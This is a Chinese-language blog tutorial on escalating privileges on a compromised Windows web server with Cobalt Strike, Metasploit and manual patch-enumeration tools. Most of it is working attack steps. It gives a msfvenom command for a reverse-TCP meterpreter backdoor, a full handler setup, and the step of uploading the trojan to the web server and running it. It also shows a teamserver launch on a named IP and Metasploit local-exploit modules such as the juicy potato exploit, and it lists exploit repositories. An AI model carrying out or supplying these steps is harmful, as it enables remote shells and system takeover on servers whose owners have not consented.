权限提升1(windows 手工 MSF CS)

文章详细阐述了在Web环境下进行权限提升的步骤,包括信息收集、选择合适的溢出漏洞、利用工具如CS和MSF创建后门、枚举系统补丁以及查找和利用CVE编号对应的EXP来提权。整个过程涉及操作系统版本、漏洞利用和安全漏洞数据库的查询。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

web权限下提权

权限提升得关键因素:

1、 符合的操作系统

2、 符合的溢出漏洞

常见步骤:

1. 信息收集(操作系统、漏洞补丁、位数、杀软防护、网络、当前权限)

ver

systeminfo

whoami

netstat -ano

tasklist /svc 查看进程,时候有杀软

如果提权中无法执行命令的话,可以尝试上传cmd.exe到可读写目录再调用执行

2. 基于补丁和系统版本来进行筛选可用溢出漏洞EXP

(1) CS

安装JAVA环境,将CS文件包导入Linux,解压之后,chmod +x teamserver ip 密码

sudo ./teamserver 43.143.231.203 test

启动监听器,生成exe,上线

加载插件(巨龙拉) ladon BadPotato (梼杌) 权限提升-juicypotato

(2)MSF

1.启动msf msfconsole

2.生成msf反弹后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=3333 -f exe -o msf.exe

3.use exploit/multi/handler

4.set payload windows/meterpreter/reverse_tcp

5.set lhost 0.0.0.0 //默认所有ip信息都接收

6.set lport 监听端口号

7.run

8.将木马上传至web服务器,执行

9.background 退出当前对话,对话不关闭(可以开启新msf的对话框)

10.use post/windows/gather/enum_patches(半自动:根据漏洞编号找出系统中安装的补丁)

11.set session 1

12.run

13.use post/multi/recon/local_exploit_suggester(全自动:快速识别系统中可能被利用的漏洞)

14.set session 1

15.set showdescription true

16.run

17.use exploit/windows/local/ms16_075_reflection_juicy

18.set session 1

19.exploit

(3) 手工
     寻找存在的cve漏洞

https://github.com/vulmon/Vulmap

1.将vulmap-windows.ps1上传到web服务器,运行即可

https://github.com/bitsadmin/wesng

1.将服务器systeminfo信息存入1.txt

2.python wes.py 1.txt -o vulns.csv

3.查看vulns.csv

https://github.com/chroblert/WindowsVulnScan

1. 将KBCollect.ps1上传到web服务器

2. powershell运行生成json文件,修改json文件的编码格式UTF-8

3. python cve-check.py -C -f KB.json

网站平台寻找cve

https://i.hacking8.com/tiquan

 (4)根据CVE寻找EXP

https://github.com/k8gege/Ladon

https://github.com/Ascotbe/KernelHub

https://github.com/nomi-sec/PoC-in-GitHub

https://github.com/offensive-security/exploitdb

http://cve.mitre.org/data/refs/refmap/source-MS.html

说明:通过对应补丁漏洞编号寻可利用EXP

MS&CVE 关系区别&对应反查

KernelHub 针对常用溢出编号指定找EXP

Poc-in-Github 针对年份及编号指定找EXP

exploitdb 针对类型及关键说明指定找EXP

3. 上传EXP,调用执行去提权

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

大飞先生

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值